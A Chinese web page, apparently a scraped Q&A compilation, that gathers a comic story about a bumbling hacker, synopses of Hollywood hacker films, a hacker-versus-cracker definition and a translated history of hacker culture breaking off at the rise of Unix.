当前位置:首页 > 破解脱壳 > 正文内容

穿书之电脑黑客(穿书之作者)

hacker2年前 (2023-01-28)破解脱壳215

黑客是怎么被抓住的?有详细案例吗

黑客是怎么被抓住的我不清楚,不过我有一黑客作案过程,发给你,希望有所帮助!

史上最强黑客

这是我当黑客以来接到的一宗最具挑战性的生意,是去黑另一个黑客的电脑。“工欲善起事,比先利其器”。我很明白装备的重要性,于是我把自己从头武装到脚,穿上了全黑的紧身夜行衣和戴上墨镜。这样我看起来就很黑很客,很重很要了。一出门,我就给车撞了......。。。。。%¥——¥¥%¥·#!!·

司机下车后,打着强光手电筒找了好半天才找得到躺在地上的我,说了一句:“原来木乃伊也有黑色的”。O$E5H

陪了钱,我才起来继续前行,我想我陪给他的钱应该够他修车了吧。OB

路上行人稀疏,夜色迷朦,我觉得在这暗夜中隐隐有股飒飒的凛冽的英气的风在流动,在舞动,在我刚撞散的大牙缝中飘摇进出。

慢慢的,很快我就到了目的地,任务是窃取那人的上网密码,对于一个娴熟的黑客高手来说,不消片刻我就已能将随身所带的手提电脑打开,接上无线上网卡,打开要用的程序了,接着就是怎样窃取了,方法是:我趴在他窗前,密切注视他的举动,等他在键盘上打密码时,用手提电脑打开记事本程序迅速记下来,再立即通过无线上网传真到家里的传真机上保存下来。

很可惜那小子在我来之前已经输过密码了,害我在半夜三更趴了大约两小时他都没有要再输一次的举动,所以我只有决定让他死机了,让他死机简直是易如反掌,当然这是只局限于对我这种高手或同等技术水平的专业人士来说的,家庭观众就不要模仿了,具体操作就是用一块红砖头仍他的电脑,肯定死的。砖到用是方恨少,我找了很久用了接近两小时才在一个很远的地方找到。副作用是太远我不会回到原来的地方了。终于辛苦问路后才回到目的地,可惜又把红砖头给忘了拿。我很懊恼的狠踢地上附近那些石头。

做一个黑客真的不能懒,要黑人家机子就必须循正途好好地,认真的黑,于是我决定剪断他家门外的电线,让他没电死机。当他隔壁邻居的一整片屋子都断电漆黑一片时,我触电晕过去了。约莫一小时后,因为手机有来电才把我弄醒。做为一个黑客,手机当然不能有铃响声,但我有是如何得知有来电而被弄醒的呢?这里有个窍门,是经过我历时半年反复实验发现的,用简单的话说就是把手机调为振动。电话是客户打来的,他很歉疚地说想将任务更改一下,就是不要破坏他的电脑,是将病毒“种”在他电脑上就行了。他猜到了现在快天亮了,想必我已将他的电脑破坏的不堪入目了,希望我能把它修复过来,再种病毒,让他不知不觉。酬劳愿意给我双倍,我说没问题,请相信我。保证马上就可把他电脑修复成像未被破坏过一样,等我好消息。我在附近偷了人家晾衣服的竹竿,再把衣架做成一个抓钩绑在竹竿上,趁他上厕所的时候把他的手提电脑从窗户给钩了出来然后再把我自己的电脑给换回去,然后就溜了。

我自己的手提电脑早就中了冰河木马蠕虫一大堆,这次他死定了!

求 有关于电脑、网络、黑客题材的电影!

好莱坞十大黑客电影

《战争游戏》WarGames(1983)

1983年,电影《战争游戏》开黑客影片先河。故事发生在里根总统任期,当时正值冷战高峰。苹果Mac机尚未诞生,电脑还只是科学怪才专属玩具,影片用大众对核战争和未知新科技的恐惧好好地把观众吓了一把。影片主角是名叫大卫·莱特曼的电脑天才,可自由进入学校电脑系统改动考试分数,因此全无学业之忧,整日将时间耗在电子游戏上。一日误撞上了'北美空防系统'(NORAD)的一台超级电脑,大卫用它玩起了'第三次世界大战'的模拟游戏,他不知道的是,这个游戏比他想象的要来得真实:当大卫退出,游戏并没有结束,NORAD的电脑仍然认为苏联人发动了核战争,对两个超级大国的电脑而言,战争游戏并没有结束……

《通天神偷》 Sneakers(1992)

《通天神偷》讲述的是一群代号SNEAKERS的'合法黑客'的故事。SNEAKERS是精通电脑的工业间谍,银行、政府机关等重要机构出钱请他们'黑'自己的电脑系统,以此检测系统的安全性。比肖普是这伙人的头,沉默,低调,有一段不太见得光的过去,典型的黑客。

一日,一个政府机构找上门,要求比肖普的人在网上盗取一个电脑软件,拥有它便可以开启全球所有的秘密电脑资源。拒绝是不可能的,因为它掌握了比肖普一干人过去所有的秘密。真正的幕后大坏蛋是国际头号科技罪犯Cosmo,他伙同政府内的腐败分子将比肖普一群人'逼上绝路'……

《异度空间》THE LAWNMOWER MAN (1992)

《异度空间》是第一部建立在虚拟空间的影片。约伯·史密斯是一个智力只有儿童水平的割草人,他定期为劳伦斯·安吉洛博士修剪草坪。安吉洛效力于一家政府秘密机构,负责为军队训练高智能大猩猩。安吉洛与机构的合作出了问题,智障的约伯吸引了他的注意力。他决心以约伯为实验,把他的智力恢复到正常水平。实验结果好得出乎意料:约伯成了这个星球上最聪明的人。而他的潜能还在不断发展,慢慢地他变成了某种非人的异类……

《网络惊魂》 The Net(1995)

电脑奇才安吉拉·贝内特专门研究电脑程序中的各种病毒。她隐居在加利福尼亚过着与人无交往的生活。因为无意中收到记录有黑客犯罪证据的软盘,她掉入了敌人设下的陷阱:出国旅游,碰上的美男原来是杀手;她回到家发现车丢了,房子被出卖,而她也被指控为罪犯……

安吉拉开始反击,她通过网络发现一群自称'禁卫军'的电脑罪犯控制了卡萨德拉尔软件公司,他们卖出数据保护程序并实际设下埋伏,从而对所有客户的系统进行复制。安吉拉冒险打入卡萨德拉尔软件公司,发现自己原来的身份已被一名'禁卫军'所顶替。她在后来的一次电脑交易会上联机上网,用一种特殊的电脑病毒摧毁了'禁卫军'的数据库。

《异次元黑客》The Thirteenth Floor(1999)

故事开始在1937年的洛杉矶,哈蒙德·富勒在与情人幽会后回到酒店,他给某人留下一封信后,赶回家见妻子。当他躺倒在床上,突然时空转换到了1999年的洛杉矶……

在洛杉矶一个商业区的第13层办公楼上,道格拉斯·霍尔和哈南·富勒创造了一个虚拟的1937年代洛杉矶。某日,霍尔一觉醒来发现哈南死了,自己成了头号嫌疑犯。

霍尔无法回忆起是否参与了谋杀,为了弄清真相,他往返于现实和1937年的虚拟世界,这种双重生活使霍尔在现实世界的存在变得日益模糊……富勒在死亡之前似乎也被牵扯进类似双重生活。神秘的美女简的出现更加使现实和虚幻世界的界限模糊起来。

《黑客》Hackers(1995)

绰号'零度冷'的戴德·墨菲是黑客中的传奇人物。1988年,他单枪匹马弄瘫了华尔街的1507台电脑,导致全球金融危机。11岁的戴德因此在联邦调查局的档案中挂上了名,并被禁用键盘直到18岁生日。7年未碰一个数码……戴德充满饥渴。

绰号'酸蚀'的凯特·利比是一名在信息高速公路上横行无阻的女黑客。当'零度冷'和'酸蚀'相遇,一场不可避免的两性大战在硬驱上展开。此时'瘟疫',一名发受雇于跨国公司的黑客高手出现了,他不但想借网络欺诈数百万美元还想嫁祸戴德、凯特和他们的朋友。

为洗脱罪名,戴德、凯特招募了一帮黑客高手加入他们对大公司阴谋的反击战。

《杀人硬件》Virtuosity(1995)

1999年,洛杉矶,政府执法技术中心开发出用于训练警探的模拟机原型。这种虚拟现实模拟机装载有最先进人工智能技术,使用者需追捕电脑生成罪犯席德6.7(结合人类所有邪恶),以锻炼他们的侦探技巧。但是,这个复杂的'猫捉老鼠'系统有一个致命的后果:狡猾的席德6.7摆脱束缚离开了虚拟空间,进入现实世界作恶。前警察帕克·巴恩斯被认为是最有机会制服席德6.7的人。

在犯罪行为专家卡特的帮助下,巴恩斯必须穿梭于现实和虚拟世界,在新千年之前抓住席德。同时,巴恩斯在席德6.7身上发现了杀害他的妻子和女儿的变态杀手的影子。这场猎人的游戏变得复杂起来,赌注也更加高昂。

《约翰尼记忆术》 Johnny Mnemonic (1995)

2021年,世界出现巨大的电脑网络。大半的人类都死于电子设备发出的电磁波产生的环境污染。信息成为最昂贵的商品,黑客猖獗,因此最宝贵的信息必须通过人类大脑传送。

约翰尼就是这样一个负责信息传递的专业人士。一次,约翰尼受雇于两名从世界第三大跨国公司Pharmkom叛逃的科学家,为他们传递无价数据。

约翰尼大脑中的记忆芯片无法承受超负荷的上载,如果不及时找到解压密码下载信息,他将死亡。此外,armkom雇用了世界最大的犯罪集团Yakuza,要取约翰尼的人头,以追回无价信息。

《黑客帝国》The Matrix(1999)

Matrix

Matrix Reloaded

Matrix Revolutions

被名为'矩阵'的计算机人工智能系统控制者的人们就像它放牧的动物一样。黑客尼奥在网络上查找关于'矩阵'的一切。

在一名神秘女郎特蕾妮的引导下见到了黑客组织的首领摩菲斯,三人一起走上了抗争'矩阵'的征途。

尼奥面对着另外一个问题:他就是它吗?虽然不知道为什么,尼奥的答案就是'不是'。摩菲斯的朋友塞弗同意他的观点。而其他人则不那么肯定。另外,还有人在保护'矩阵',冷酷的史密斯探员一伙掌握着令人震惊的秘密。

尼奥、默菲和特莱妮必须用他们的生命对抗强大的敌人来追寻答案、寻找自我。他们的每一步都是危机四伏……

《剑鱼行动》Swordfish(2001)

加布利尔·希尔是个在江湖上闯荡多年的间谍特工,他妄想建立一个属于自己的极端爱国主义组织。为了筹集这个组织招兵买马所需资金,加布利尔决定冒险闯入网络空间,窃取一笔高达几十亿美金的基金。希尔需要一个顶尖电脑黑客的帮助。他盯上了斯坦利·吉森。

斯坦利曾是世界上两个最顶尖的电脑黑客之一,他将FBI计算机监视系统搞了个天翻地覆,当然他也为此坐了牢。现在他住在一个破拖车里,老婆和他离了婚,带着小女儿霍莉嫁给了专拍色情片的大老板。加布利尔来请斯坦利出山,答应得手后帮斯坦利重获女儿的监护权。 斯坦利答应铤而走险,他成了一颗身不由己的棋子……

推荐几部关于电脑黑客的电影

我比较喜欢日本的血色星期一电视剧,虽然有点假,但是绝对好看,你看看第一集就知道了,还有《HACKERS》 1995,《骇客通缉令》根据世界第一黑客-凯文米特尼克真实故事改编的,这三个是我自己推荐给你的

以下是我摘的_~

1.《战争游戏》WarGames(1983)

1983年,电影《战争游戏》开黑客影片先河。故事发生在里根总统任期,当时正值冷战高峰。苹果Mac机尚未诞生,电脑还只是科学怪才专属玩具,影片用大众对核战争和未知新科技的恐惧好好地把观众吓了一把。影片主角是名叫大卫·莱特曼的电脑天才,可自由进入学校电脑系统改动考试分数,因此全无学业之忧,整日将时间耗在电子游戏上。一日误撞上了“北美空防系统”(NORAD)的一台超级电脑,大卫用它玩起了“第三次世界大战”的模拟游戏,他不知道的是,这个游戏比他想象的要来得真实:当大卫退出,游戏并没有结束,NORAD的电脑仍然认为苏联人发动了核战争,对两个超级大国的电脑而言,战争游戏并没有结束……

2.《通天神偷》 Sneakers(1992)

《通天神偷》讲述的是一群代号SNEAKERS的“合法黑客”的故事。SNEAKERS是精通电脑的工业间谍,银行、政府机关等重要机构出钱请他们“黑”自己的电脑系统,以此检测系统的安全性。比肖普是这伙人的头,沉默,低调,有一段不太见得光的过去,典型的黑客。

一日,一个政府机构找上门,要求比肖普的人在网上盗取一个电脑软件,拥有它便可以开启全球所有的秘密电脑资源。拒绝是不可能的,因为它掌握了比肖普一干人过去所有的秘密。真正的幕后大坏蛋是国际头号科技罪犯Cosmo,他伙同政府内的腐败分子将比肖普一群人“逼上绝路”……

3.《异度空间》THE LAWNMOWER MAN (1992)

《异度空间》是第一部建立在虚拟空间的影片。约伯·史密斯是一个智力只有儿童水平的割草人,他定期为劳伦斯·安吉洛博士修剪草坪。安吉洛效力于一家政府秘密机构,负责为军队训练高智能大猩猩。安吉洛与机构的合作出了问题,智障的约伯吸引了他的注意力。他决心以约伯为实验对象,把他的智力恢复到正常水平。实验结果好得出乎意料:约伯成了这个星球上最聪明的人。而他的潜能还在不断发展,慢慢地他变成了某种非人的异类……

4.《网络惊魂》 The Net(1995)

电脑奇才安吉拉·贝内特专门研究电脑程序中的各种病毒。她隐居在加利福尼亚过着与人无交往的生活。因为无意中收到记录有黑客犯罪证据的软盘,她掉入了敌人设下的陷阱:出国旅游,碰上的美男原来是杀手;她回到家发现车丢了,房子被出卖,而她也被指控为罪犯……

安吉拉开始反击,她通过网络发现一群自称“禁卫军”的电脑罪犯控制了卡萨德拉尔软件公司,他们卖出数据保护程序并实际设下埋伏,从而对所有客户的系统进行复制。安吉拉冒险打入卡萨德拉尔软件公司,发现自己原来的身份已被一名“禁卫军”所顶替。她在后来的一次电脑交易会上联机上网,用一种特殊的电脑病毒摧毁了“禁卫军”的数据库。

5.《第十三层》TheThirteenth Floor(1999)

故事开始在1937年的洛杉矶,哈蒙德·富勒在与情人幽会后回到酒店,他给某人留下一封信后,赶回家见妻子。当他躺倒在床上,突然时空转换到了1999年的洛杉矶……

在洛杉矶一个商业区的第13层办公楼上,道格拉斯·霍尔和哈南·富勒创造了一个虚拟的1937年代洛杉矶。某日,霍尔一觉醒来发现哈南死了,自己成了头号嫌疑犯。

霍尔无法回忆起是否参与了谋杀,为了弄清真相,他往返于现实和1937年的虚拟世界,这种双重生活使霍尔在现实世界的存在变得日益模糊……富勒在死亡之前似乎也被牵扯进类似双重生活。神秘的美女简的出现更加使现实和虚幻世界的界限模糊起来。

6.《黑客》Hackers(1995)

绰号“零度冷”的戴德·墨菲是黑客中的传奇人物。1988年,他单枪匹马弄瘫了华尔街的1507台电脑,导致全球金融危机。11岁的戴德因此在联邦调查局的档案中挂上了名,并被禁用键盘直到18岁生日。7年未碰一个数码……戴德充满饥渴。

绰号“酸蚀”的凯特·利比是一名在信息高速公路上横行无阻的女黑客。当“零度冷”和“酸蚀”相遇,一场不可避免的两性大战在硬驱上展开。此时“瘟疫”,一名发受雇于跨国公司的黑客高手出现了,他不但想借网络欺诈数百万美元还想嫁祸戴德、凯特和他们的朋友。为洗脱罪名,戴德、凯特招募了一帮黑客高手加入他们对大公司阴谋的反击战。

7.《杀人硬件》Virtuosity 1995

1999年,洛杉矶,政府执法技术中心开发出用于训练警探的模拟机原型。这种虚拟现实模拟机装载有最先进人工智能技术,使用者需追捕电脑生成罪犯席德6.7(结合人类所有邪恶),以锻炼他们的侦探技巧。但是,这个复杂的“猫捉老鼠”系统有一个致命的后果:狡猾的席德6.7摆脱束缚离开了虚拟空间,进入现实世界作恶。前警察帕克·巴恩斯被认为是最有机会制服席德6.7的人。

在犯罪行为专家卡特的帮助下,巴恩斯必须穿梭于现实和虚拟世界,在新千年之前抓住席德。同时,巴恩斯在席德6.7身上发现了杀害他的妻子和女儿的变态杀手的影子。这场猎人的游戏变得复杂起来,赌注也更加高昂。

8.《约翰尼记忆术》 Johnny Mnemonic (1995)

2021年,世界出现巨大的电脑网络。大半的人类都死于电子设备发出的电磁波产生的环境污染。信息成为最昂贵的商品,黑客猖獗,因此最宝贵的信息必须通过人类大脑传送。

约翰尼就是这样一个负责信息传递的专业人士。一次,约翰尼受雇于两名从世界第三大跨国公司Pharmkom叛逃的科学家,为他们传递无价数据。

约翰尼大脑中的记忆芯片无法承受超负荷的上载,如果不及时找到解压密码下载信息,他将死亡。此外,Pharmkom雇用了世界最大的犯罪集团Yakuza,要取约翰尼的人头,以追回无价信息。

9.《黑客帝国》The Matrix(1999)

被名为“矩阵”的计算机人工智能系统控制者的人们就像它放牧的动物一样。黑客尼奥在网络上查找关于“矩阵”的一切。

在一名神秘女郎特蕾妮的引导下见到了黑客组织的首领摩菲斯,三人一起走上了抗争“矩阵”的征途。

尼奥面对着另外一个问题:他就是它吗?虽然不知道为什么,尼奥的答案就是“不是”。摩菲斯的朋友塞弗同意他的观点。而其他人则不那么肯定。另外,还有人在保护“矩阵”,冷酷的史密斯探员一伙掌握着令人震惊的秘密。

尼奥、默菲和特莱妮必须用他们的生命对抗强大的敌人来追寻答案、寻找自我。他们的每一步都是危机四伏……

10.《剑鱼行动》Swordfish(2001)

加布利尔·希尔是个在江湖上闯荡多年的间谍特工,他妄想建立一个属于自己的极端爱国主义组织。为了筹集这个组织招兵买马所需资金,加布利尔决定冒险闯入网络空间,窃取一笔高达几十亿美金的基金。希尔需要一个顶尖电脑黑客的帮助。他盯上了斯坦利·吉森。

斯坦利曾是世界上两个最顶尖的电脑黑客之一,他将FBI计算机监视系统搞了个天翻地覆,当然他也为此坐了牢。现在他住在一个破拖车里,老婆和他离了婚,带着小女儿霍莉嫁给了专拍色情片的大老板。加布利尔来请斯坦利出山,答应得手后帮斯坦利重获女儿的监护权。斯坦利答应铤而走险,他成了一颗身不由己的棋子……

11.《防火墙》Firewall(2006)

电脑安全专家杰克史坦菲德为一家位于西雅图的太平洋银行工作。他是一名备受信赖的高阶主管,多年来负责设计最有效的防盗电脑系统,透过层层的密码和 防火墙,阻止日益猖獗的电脑骇客盗取银行的资产。

杰克在公司的待遇优厚,让他、他身为建筑师的妻子贝丝以及他们的一对小孩过着优裕的生活,包括一栋位于市郊高级住宅区的豪宅。

但是杰克的防盗系统却有一个致命弱点,那就是他自己,有一名残暴凶狠的歹徒决定利用这弱点盗取银行钜款。

好几个月来,比尔考克斯一直在仔细观察杰克和他的家人,并利用各种先进的电子仪器,监控他们上网的活动,窃听他们的电话,熟知他们的日常作息,并 窃取他们最隐私的资料。他知道他们小孩的朋友的名字,也知道他们的病史,更知道他们居住的社区保全系统的密码。

他花了将近一年的时间了解杰克一家人的每一个生活细节,现在终于可以展开行动。他率领一组人马闯入史宅,把贝丝和她的小孩软禁在自己的家里,而杰克则被迫帮助他服务 的太平洋银行窃取一亿美元的巨款。

杰克尝试向人求救和救出家人的每一个行动都被考克斯识破和阻止,于是逼不得已只好破解自己设计的电脑安全系统,将一亿美元巨款汇入考克斯的海外银行帐户,不但让他自 己成为罪犯,也被迫消灭考克斯犯案的所有证据。 他在受到严密的监控下,只有几个小时的时间可以完成汇款,并找到歹徒看似天衣无缝的阴谋的漏洞,希望能以毒攻毒,拯救他一家人的性命。

有关黑客的一切

黑客是对英语hacker的翻译,hacker原意是指用斧头砍材的工人,最早被引进计算机圈则可追溯自1960年代。他们破解系统或者网络基本上是一项业余嗜好,通常是出于自己的兴趣,而非为了赚钱或工作需要。

加州柏克莱大学计算机教授Brian Harvey在考证此字时曾写到,当时在麻省理工学院中(MIT)的学生通常分成两派,一是tool,意指乖乖牌学生,成绩都拿甲等;另一则是所谓的hacker,也就是常逃课,上课爱睡觉,但晚上却又精力充沛喜欢搞课外活动的学生。 这跟计算机有什么关系?一开始并没有。不过当时hacker也有区分等级,就如同tool用成绩比高下一样。真正一流hacker并非整天不学无术,而是会热衷追求某种特殊嗜好,比如研究电话、铁道(模型或者真的)、科幻小说,无线电,或者是计算机。也因此后来才有所谓的computer hacker出现,意指计算机高手。

有些人很强调黑客和骇客的区别,根据开放原始码计划创始人Eric Raymond(他本人也是个著名的hacker)对此字的解释,hacker与cracker(一般译为骇客,有时也叫“黑帽黑客”。 )是分属两个不同世界的族群,基本差异在于,黑客是有建设性的,而骇客则专门搞破坏。 对一个黑客来说,学会入侵和破解是必要的,但最主要的还是编程,毕竟,使用工具是体现别人的思路,而程序是自己的想法.一句话--编程实现一切。对于一个骇客来说,他们只追求入侵的快感,不在乎技术,他们不会编程,不知道入侵的具体细节。还有一种情况是试图破解某系统或网络以提醒该系统所有者的系统安全漏洞,这群人往往被称做“白帽黑客”或“匿名客”(sneaker)或红客。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。

但到了今天,在知识贫乏的记者写的媒报道中,黑客一词已被用于泛指黑客和骇客,因此也影响了大众对黑客的理解。 这个背景下,就出现了重新定义黑客内涵的努力,试图把黑客的活动范围限定为不为经济利益、而是出于好奇心做出技术探索和挑战。

黑客文化简史

本篇原作者为Eric S. Raymond esr@snark.thyrsus.com,他是一位大哥级的 Hacker,写了很多自由软件,知名著作有Jargon File等,近年来发表“大教堂与集市”论文为Opensource software努力,Netscape 愿意公开Navigator的原始码,与这篇文章有很大的关系。

序曲: Real Programmer

故事一开始,我要介绍的是所谓的Real Programmer。

他们从不自称是Real Programmer、Hacker或任何特殊的称号;`Real Programmer' 这个名词是在1980年代才出现,但早自1945年起,电脑科学便不断地吸引世界上头脑最顶尖、想像力最丰富的人投入其中。从Eckert Mauchly发明ENIAC后,便不断有狂热的programmer投入其中,他们以撰写软件与玩弄各种程式设计技巧为乐,逐渐形成具有自我意识的一套科技文化。当时这批Real Programmers主要来自工程界与物理界,他们戴著厚厚的眼镜, 穿聚酯纤维T恤与纯白袜子,用机器语言、汇编语言、FORTRAN及很多古老的 语言写程式。他们是Hacker时代的先驱者,默默贡献,却鲜为人知。

从二次大战结束后到1970早期,是打卡计算机与所谓"大铁块"的mainframes 流行的年代,由Real Programmer主宰电脑文化。Hacker传奇故事如有名的 Mel (收录在Jargon File中)、Murphy's Law的各种版本、mock- German`Blinke_nlight' 文章都是流传久远的老掉牙笑话了。

※译者:Jargon File亦是本文原作者所编写的,里面收录了很多Hacker用语、缩写意义、传奇故事等等。Jargon File有出版成一本书:The New Hacker's Dictionary,MIT PRESS出版。也有Online版本:

※译者:莫非定律是:当有两条路让你抉择,若其中一条会导致失败,你一定会选到它。 它有很多衍生说法: 比如一个程式在demo前测试几千几万次都正确无误,但demo 那一天偏偏就会出bug。

一些Real Programmer仍在世且十分活跃 (本文写在1996年)。超级电脑Cray 的设计者Seymour Cray, 据说亲手设计Cray全部的硬体与其操作系统,作业系统是他用机器码硬干出来的,没有出过任何bug或error。Real Programmer 真是超强!

举个比较不那么夸张的例子:Stan Kelly-Bootle,The Devil's DP Dictionary 一书的作者(McGraw-Hill, 1981年初版,ISBN 0-07-034022-6)与Hacker 传奇专家,当年在一台Manchester Mark I开发程式。 他现在是电脑杂志的专栏作家,写一些科学幽默小品,文笔生动有趣投今日hackers所好,所以很受欢迎。 其他人像David E. Lundstorm,写了许多关於Real Programmer的小故事,收录在A few Good Men From UNIVAC这本书,1987年出版,ISBN-0- 262-62075-8。

※译:看到这里,大家应该能了解,所谓Real Programmer指的就是用组合语 言或甚至机器码,把程式用打卡机punch出一片片纸卡片,由主机读卡机输入电脑的那种石器时代Programmer。

Real Programmer的时代步入尾声,取而代之的是逐渐盛行的Interactive computing,大学成立电算相关科系及电脑网络。它们催生了另一个持续的工程传统,并最终演化为今天的开放代码黑客文化。

早期的黑客

Hacker时代的滥觞始於1961年MIT出现第一台电脑DEC PDP-1。MIT的Tech Model Railroad Club(简称TMRC)的Power and Signals Group买了这台机器后,把它当成最时髦的科技玩具,各种程式工具与电脑术语开始出现,整个环境与文化一直发展下去至今日。 这在Steven Levy的书`Hackers' 前段有详细的记载(Anchor/Doubleday 公司,1984年出版,ISBN 0-385-19195-2)。

※译:Interactive computing并非指Windows、GUI、WYSIWYG等介面, 当时有terminal、有shell可以下指令就算是Interactive computing了。 最先使用Hacker这个字应该是MIT。1980年代早期学术界人工智慧的权威:MIT 的Artificial Intelligence Laboratory,其核心人物皆来自TMRC。从1969年起,正好是ARPANET建置的第一年,这群人在电脑科学界便不断有重大突破与贡献。

ARPANET是第一个横跨美国的高速网络。由美国国防部所出资兴建,一个实验性 质的数位通讯网络,逐渐成长成联系各大学、国防部承包商及研究机构的大网络。各地研究人员能以史无前例的速度与弹性交流资讯,超高效率的合作模式导致科技的突飞猛进。

ARPANET另一项好处是,资讯高速公路使得全世界的hackers能聚在一起,不再像以前孤立在各地形成一股股的短命文化,网络把他们汇流成一股强大力量。 开始有人感受到Hacker文化的存在,动手整理术语放上网络, 在网上发表讽刺文学与讨论Hacker所应有的道德规范。(Jargon File的第一版出现在1973年,就是一个好例子), Hacker文化在有接上ARPANET的各大学间快速发展,特别是(但不全是)在信息相关科系。

一开始,整个Hacker文化的发展以MIT的AI Lab为中心,但Stanford University 的Artificial Intelligence Laboratory(简称SAIL)与稍后的Carnegie-Mellon University(简称CMU)正快速崛起中。三个都是大型的资讯科学研究中心及人工智慧的权威,聚集著世界各地的精英,不论在技术上或精神层次上,对Hacker文化都有极高的贡献。

为能了解后来的故事,我们得先看看电脑本身的变化;随著科技的进步,主角MIT AI Lab也从红极一时到最后淡出舞台。

从MIT那台PDP-1开始,Hacker们主要程式开发平台都是Digital Equipment Corporation 的PDP迷你电脑序列。DEC率先发展出商业用途为主的interactive computing及time-sharing操作系统,当时许多的大学都是买DEC的机器, 因为它兼具弹性与速度,还很便宜(相对於较快的大型电脑mainframe)。 便宜的分时系统是Hacker文化能快速成长因素之一,在PDP流行的时代, ARPANET上是DEC机器的天下,其中最重要的便属PDP-10,PDP-10受到Hacker们的青睐达十五年;TOPS-10(DEC的操作系统)与MACRO-10(它的组译器),许多怀旧的术语及Hacker传奇中仍常出现这两个字。

MIT像大家一样用PDP-10,但他们不屑用DEC的操作系统。他们偏要自己写一个:传说中赫赫有名的ITS。

ITS全名是`Incompatible Timesharing System',取这个怪名果然符合MIT的搞怪作风——就是要与众不同,他们很臭屁但够本事自己去写一套操作系统。ITS始终不稳,设计古怪,bug也不少,但仍有许多独到的创见,似乎还是分时系统中开机时间最久的纪录保持者。

ITS本身是用汇编语言写的,其他部分由LISP写成。LISP在当时是一个威力强大与极具弹性的程式语言;事实上,二十五年后的今天,它的设计仍优於目前大多数的程式语言。LISP让ITS的Hacker得以尽情发挥想像力与搞怪能力。LISP是MIT AI Lab成功的最大功臣,现在它仍是Hacker们的最爱之一。

很多ITS的产物到现在仍活著;EMACS大概是最有名的一个,而ITS的稗官野史仍为今日的Hacker们所津津乐道,就如同你在Jargon File中所读到的一般。在MIT红得发紫之际,SAIL与CMU也没闲著。SAIL的中坚份子后来成为PC界或图形使用者介面研发的要角。CMU的Hacker则开发出第一个实用的大型专家系统与工业用机器人。

另一个Hacker重镇是XEROX PARC公司的Palo Alto Research Center。从1970初期到1980中期这十几年间,PARC不断出现惊人的突破与发明,不论质或量,软件或硬体方面。如现今的视窗滑鼠介面,雷射印表机与区域网络;其D系列的机器,催生了能与迷你电脑一较长短的强力个人电脑。不幸这群先知先觉者并不受到公司高层的赏识;PARC是家专门提供好点子帮别人赚钱的公司成为众所皆知的大笑话。即使如此,PARC这群人对Hacker文化仍有不可抹灭的贡献。1970年代与PDP-10文化迅速成长茁壮。Mailing list的出现使世界各地的人得以组成许多SIG(Special-interest group),不只在电脑方面,也有社会与娱乐方面的。DARPA对这些非`正当性'活动睁一只眼闭一只眼, 因为靠这些活动会吸引更多的聪明小伙子们投入电脑领域呢。

有名的非电脑技术相关的ARPANET mailing list首推科幻小说迷的,时至今日ARPANET变成Internet,愈来愈多的读者参与讨论。Mailing list逐渐成为一种公众讨论的媒介,导致许多商业化上网服务如CompuServe、Genie与Prodigy的成立。

Unix的兴起

此时在新泽西州的郊外,另一股神秘力量积极入侵Hacker社会,终於席卷整个PDP-10的传统。它诞生在1969年,也就是ARPANET成立的那一年,有个在ATT Bell Labs的年轻小夥子Ken Thompson发明了Unix。

Thomspon曾经参与Multics的开发,Multics是源自ITS的操作系统,用来实做当时一些较新的OS理论,如把操作系统较复杂的内部结构隐藏起来,提供一个介面,使的programmer能不用深入了解操作系统与硬体设备,也能快速开发程式。

※译:那时的programmer写个程式必须彻底了解操作系统内部,或硬体设备。比方说写有IO的程式,对於硬碟的转速,磁轨与磁头数量等等都要搞的一清二楚才行。

在发现继续开发Multics是做白工时,Bell Labs很快的退出了(后来有一家公司Honeywell出售Multics,赔的很惨)。

Ken Thompson很喜欢Multics上的作业环境,於是他在实验室里一台报废的DEC PDP-7上胡乱写了一个操作系统, 该系

统在设计上有从Multics抄来的也有他自己的构想。他将这个操作系统命名Unix,用来反讽Multics。

※译:其实是Ken Thompson写了一个游戏`Star Travel' 没地方跑,就去找一台的报废机器PDP-7来玩。他同事Brian Kernighan嘲笑Ken Thompson说:“你写的系统好逊哦,乾脆叫Unics算了。”(Unics发音与太监的英文eunuches一样),后来才改为Unix。

他的同事Dennis Ritchie,发明了一个新的程式语言C,於是他与Thompson用C把原来用汇编语言写的Unix重写一遍。C的设计原则就是好用,自由与弹性,C与Unix很快地在Bell Labs得到欢迎。1971年Thompson与Ritchie争取到一个办公室自动化系统的专案,Unix开始在Bell Labs中流行。不过Thompson与Ritchie的雄心壮志还不止於此。

那时的传统是,一个操作系统必须完全用汇编语言写成,始能让机器发挥最高的效能。Thompson与Ritchie,是头几位领悟硬体与编译器的技术,已经进步到作业系统可以完全用高阶语言如C来写,仍保有不错的效能。五年后,Unix已经成功地移植到数种机器上。

※译:Ken Thompson与Dennis Ritchie是唯一两位获得Turing Award(电脑界的诺贝尔奖)的工程师(其他都是学者)。

这当时是一件不可思议的事!它意味著,如果Unix可以在各种平台上跑的话,Unix 软件就能移植到各种机器上。再也用不著为特定的机器写软件了,能在Unix上跑最重要,重新发明轮子已经成为过去式了。

除了跨平台的优点外,Unix与C还有许多显著的优势。Unix与C的设计哲学是Keep It Simple, Stupid'。programmer可以轻易掌握整个C的逻辑结构(不像其他之前或以后的程式语言)而不用一天到晚翻手册写程式。而Unix提供许多有用的小工具程式,经过适当的组合(写成Shell script或Perl script),可以发挥强大的威力。

※注:The C Programming Language是所有程式语言书最薄的一本,只有两百多页哦。作者是Brian Kernighan 与Dennis Ritchie,所以这本C语言的圣经又称`KR'。

※注:`Keep It Simple, Stupid' 简称KISS,今日Unix已不follow这个原则,几乎所有Unix 都是要灌一堆有的没的utilities,唯一例外是MINIX。

C与Unix的应用范围之广,出乎原设计者之意料,很多领域的研究要用到电脑时,他们是最佳拍档。尽管缺乏一个正式支援的机构,它们仍在ATT内部中疯狂的散播。到了1980年,已蔓延到大学与研究机构,还有数以千计的hacker想把Unix装在家里的机器上。

当时跑Unix的主力机器是PDP-11、VAX系列的机器。不过由於UNIX的高移植性,它几乎可安装在所有的电脑机型上。一旦新型机器上的UNIX安装好,把软件的C原始码抓来重新编译就一切OK了,谁还要用汇编语言来开发软件?有一套专为UNIX设计的网络——UUCP:一种低速、不稳但成本很低廉的网络。两台UNIX机器用条电话线连起来,就可以使用互传电子邮件。UUCP是内建在UNIX系统中的,不用另外安装。於是UNIX站台连成了专属的一套网络,形成其Hacker文化。在1980第一个USENET站台成立之后,组成了一个特大号的分散式布告栏系统,吸引而来的人数很快地超过了ARPANET。

